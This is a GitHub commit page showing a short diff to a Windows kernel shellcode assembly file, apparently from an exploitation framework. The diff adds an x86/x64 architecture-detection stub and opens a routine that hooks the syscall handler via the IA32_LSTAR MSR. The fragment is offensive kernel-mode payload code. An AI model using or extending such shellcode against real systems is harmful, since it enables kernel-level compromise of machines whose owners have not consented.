We read every piece of feedback, and take your input very seriously.
To see all available qualifiers, see our documentation.
There was an error while loading. Please reload this page.
1 parent a5c391d commit 4f3a98dCopy full SHA for 4f3a98d
external/source/shellcode/windows/multi_arch_kernel_queue_apc.asm
@@ -74,9 +74,19 @@ ETHREAD_THREADLISTENTRY_OFFSET equ 0x420 ; only used if STATIC
74
; now the shellcode begins
75
payload_start:
76
77
-%ifdef SYSCALL_OVERWRITE
78
-syscall_overwrite:
+ xor ecx, ecx
+ db 0x41 ; x86 inc ecx, x64 = rex prefix
79
+ loop x64_payload_start ; dec, jnz. i.e. in x64 we will now jmp
80
+
81
+%ifdef USE_X86
82
+%else
83
+ ret
84
+%end
85
86
+x64_payload_start:
87
+BITS 64
88
89
+%ifdef SYSCALL_OVERWRITE
90
x64_syscall_overwrite:
91
mov ecx, 0xc0000082 ; IA32_LSTAR syscall MSR
92
rdmsr
0 commit comments